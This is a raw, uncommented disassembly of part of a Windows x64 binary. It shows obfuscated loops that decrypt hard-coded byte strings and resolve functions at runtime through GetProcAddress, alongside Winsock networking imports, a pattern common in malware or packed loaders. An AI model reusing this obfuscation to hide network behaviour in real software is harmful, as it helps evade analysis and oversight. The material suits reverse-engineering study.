movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
dec r11
inc r11
jmp 0x140069603
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140069db1
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
jmp 0x14006a032
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140069a97
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
jmp 0x14006a035
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140069e16
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069603
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140069e3f
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006a098
cmp rbx, rcx
jne 0x140069e63
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a06c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140069e84
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x140069ed5
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140069a59
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x140069fce
mov byte [rbp + r11 + 0xa0], dil
inc r11
jmp 0x140069603
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x52
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x3e
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0xa0], r9b
jmp 0x14006a032
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14006a069
sub r9b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069603
lea ecx, [r9 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6a
jmp 0x14006a06c
sub r9b, 0x3e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4e
jmp 0x14006a035
sub r9b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140069603
lea edx, [r9 - 0x52]
mov ecx, 0x1f
jmp 0x140069fbd
movzx r9d, r11b
lea edx, [r9 - 0x5a]
mov ecx, 0x3b
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x22
add r9b, r10b
mov byte [rbp + r11 + 0xa0], r9b
inc r8
dec r11
inc r11
jmp 0x140069603
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x52
dec r11
inc r11
jmp 0x140069603
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140069603
lea rdx, [r11 + r13]
movzx eax, dl
and al, sil
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
movzx r9d, r11b
add dil, dl
add r9b, 0x56
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x5a
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0xa0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0xa0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069603
lea rcx, [r11 + r15]
and sil, cl
mov eax, 0x2b
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069603
sub r9b, 0x76
movzx eax, r10b
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140069600
sub r9b, 0x7a
movzx eax, r10b
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400695f0
lea rdx, [rbp + 0x166fbf8]
jmp 0x14006a167
lea rdx, [rbp + 0x76777a]
jmp 0x14006a167
lea rdx, [rbp + 0xa0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov byte [rbp + 0x2c0], 0xcf
mov byte [rbp + 0x2c1], 0xee
mov byte [rbp + 0x2c2], 0x90
mov byte [rbp + 0x2c3], 0xcc
mov byte [rbp + 0x2c4], 0x9f
mov byte [rbp + 0x2c5], __WSAFDIsSet
mov byte [rbp + 0x2c6], 0x9a
mov byte [rbp + 0x2c7], 0xea
mov byte [rbp + 0x2c8], 0xc3
mov byte [rbp + 0x2c9], 0xe6
mov byte [rbp + 0x2ca], __WSAFDIsSet
mov byte [rbp + 0x2cb], 0xc6
mov byte [rbp + 0x2cc], 0xa6
mov byte [rbp + 0x2cd], 0xd6
mov byte [rbp + 0x2ce], 0xa4
mov byte [rbp + 0x2cf], 0xdc
mov byte [rbp + 0x2d0], gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2d1], xmm0
mov qword [rbp + 0x2e1], rax
mov dword [rbp + 0x2e9], eax
movabs rsi, 0x39abfbd6053c6055
movabs r14, 0x70bda862f1f62fd
movabs r13, 0x93b3e2da24a6a253
movabs r15, 0xad03f3820fb520ff
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x2d
jae 0x14006ae14
movzx r10d, byte [rbp + r11 + 0x2c0]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006ae0b
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006a29c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x53
jmp 0x14006a2d6
je 0x14006ad9e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006ad15
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006ace6
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006acc5
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006ac7e
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14006ae02
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x14006a30d
lea ecx, [r9 - 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x31
jmp 0x14006a350
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006ac66
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006ac43
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006ac01
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006abe6
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006abb7
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006a8c7
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006a8a8
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006a882
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14006a85c
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006a83d
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006a81d
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006a7fd
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006a7de
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006a7c1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006a78f
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006a360
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 9]
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14006ade5
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006adc8
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006a54a
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006a52f
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006a514
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006a746
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006a6fd
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006a6c3
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006a69b
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006a360
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x41]
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006a66c
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006a64c
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14006a62d
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006a610
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006a5ed
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14006a5ce
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006a5ab
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006a582
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14006a567
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006a360
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x7a]
jmp 0x14006a360
lea ecx, [r9 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x11
jmp 0x14006a350
lea ecx, [r9 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6b
jmp 0x14006a2e0
sub r9b, 0x2d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x3b
jmp 0x14006a270
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x14006ac98
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006a253
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
dec r11
inc r11
jmp 0x14006a253
lea edx, [r9 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ac17
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006acfc
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
jmp 0x14006acfc
lea edx, [r9 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ad2f
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ad5b
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a253
sub r9b, 0x31
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x57
mov byte [rbp + r11 + 0x2c0], dil
inc r11
jmp 0x14006a253
lea ecx, [r9 + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 3
cmp r8, 0x41
jb 0x14006a6b3
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x24]
jmp 0x14006ac98
lea ecx, [r9 + 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5d
cmp rbx, 9
jae 0x14006ab86
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x14006aada
lea edx, [r9 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a6d9
lea ecx, [r9 - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x49
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x14006aba1
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14006a9db
lea ecx, [r9 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x39
jmp 0x14006a713
sub r9b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a253
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
jmp 0x14006ad5b
lea edx, [r9 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ad2f
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006acfc
add r9b, 0x2e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x42
add rbx, r8
jmp 0x14006acfc
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ac17
sub r9b, 0x26
movzx eax, r9b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006a253
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x14006a253
lea edx, [r9 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ac98
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x14006a8ee
lea ecx, [r9 + 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x53
jmp 0x14006a75c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006a929
sub r9b, 0xe
movzx eax, r9b
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a253
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006a951
lea edx, [r9 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ad2f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006a980
sub r9b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006a253
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006a9af
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
inc r8
dec r11
inc r11
jmp 0x14006a253
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006a75c
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ac98
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006a9ff
lea ecx, [r9 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6d
jmp 0x14006ac98
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006aa2b
add r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x47
dec r11
inc r11
jmp 0x14006a253
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006aa54
sub r9b, 0x6d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 5
add rbx, r8
jmp 0x14006acfc
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006aa7a
add r9b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x55
jmp 0x14006acfc
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006aa9e
lea ecx, [r9 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x51
jmp 0x14006ad2f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006a713
add r9b, 0x3b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x63
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a253
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006ab12
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a253
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006ab3a
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ad2f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006ab5e
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x14006ac17
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006a6d9
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x14006ac98
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x24
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006ac17
lea ecx, [r9 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x5e]
jmp 0x14006ad2f
sub r9b, 0xd
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x5b
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a253
lea ecx, [r9 - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x59
jmp 0x14006ad2f
lea ecx, [r9 - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x67
sub r9b, 0x23
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0xb
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x2c0], cl
add rbx, r8
jmp 0x14006acfc
sub r9b, 9
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x3f
dec r11
inc r11
jmp 0x14006a253
lea ecx, [r9 - 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x75
jmp 0x14006ac98
movzx r9d, r11b
lea ecx, [r9 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x29
add r9b, 0x33
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x65
add r9b, r10b
mov byte [rbp + r11 + 0x2c0], r9b
inc r8
dec r11
inc r11
jmp 0x14006a253
lea ecx, [r11 - 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x23
dec r11
inc r11
jmp 0x14006a253
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x15
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006a253
lea rcx, [r11 + r13]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x45
add dil, cl
movzx r9d, r11b
sub r9b, 0x79
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x4f
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x2c0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 4
add cl, r10b
mov byte [rbp + r11 + 0x2c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a253
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
add dil, 7
movzx eax, byte [rbp + r11 + 0x2c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a253
add r9b, 0x29
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1f
jmp 0x14006a250
add r9b, 0x7f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x79
jmp 0x14006a234
lea rdx, [rbp + 0x150bbdc]
jmp 0x14006ae1b
lea rdx, [rbp + 0xcd1c31]
jmp 0x14006ae1b
lea rdx, [rbp + 0x2c0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x80], rax
mov byte [rbp + 0x2f0], 0xe7
mov byte [rbp + 0x2f1], 0x80
mov byte [rbp + 0x2f2], 0xb6
mov byte [rbp + 0x2f3], 0xe1
mov byte [rbp + 0x2f4], 0xbb
mov byte [rbp + 0x2f5], 0xb7
mov byte [rbp + 0x2f6], 0xbb
mov byte [rbp + 0x2f7], 0xbc
mov byte [rbp + 0x2f8], 0x8a
mov byte [rbp + 0x2f9], 0x86
mov byte [rbp + 0x2fa], 0x8f
mov byte [rbp + 0x2fb], 0x81
mov byte [rbp + 0x2fc], 0xbc
mov byte [rbp + 0x2fd], 0xaa
mov byte [rbp + 0x2fe], 0xb7
mov byte [rbp + 0x2ff], 0x8d
mov byte [rbp + 0x300], 0xb0
mov byte [rbp + 0x301], 0x8e
mov byte [rbp + 0x302], 0x81
mov byte [rbp + 0x303], 0x1b
xorps xmm0, xmm0
movups xmmword [rbp + 0x304], xmm0
movabs r14, 0xd7d8901735f764da
movabs r15, 0x969d10d0e5b28baa
movabs r13, 0x8789b045a1e62e8e
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x24
jae 0x14006ba2c
movzx r10d, byte [rbp + r11 + 0x2f0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006ba23
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006af3c
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0xa
jmp 0x14006af76
je 0x14006b9ab
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006b911
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006b8e0
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006b8c1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006b877
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14006ba1a
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x14006afaa
lea ecx, [r9 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
jmp 0x14006afe0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006b85b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006b835
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006b7ee
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006b7bf
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006b555
nop dword [rax]
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006b536
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006b50d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006b4e7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006b4cc
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006b4ac
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006b48f
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006b474
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006b457
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006b428
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006aff0
lea rbx, [r8 + 2]
lea r8, [rbx + 8]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006b9fa
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006b9da
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006b1d9
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14006b1ba
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006b19b
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006b3db
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006b392
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006b355
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14006b32d
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006aff0
lea rbx, [r8 + 5]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14006b2fe
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006b2de
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006b2c2
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006b2a5
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006b282
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14006b263
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006b23d
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14006b214
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006b1f9
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006aff0
lea rbx, [r8 + 9]
lea r8, [rbx + 0x40]
jmp 0x14006aff0
lea edx, [r9 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006afe0
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006af80
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006af10
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
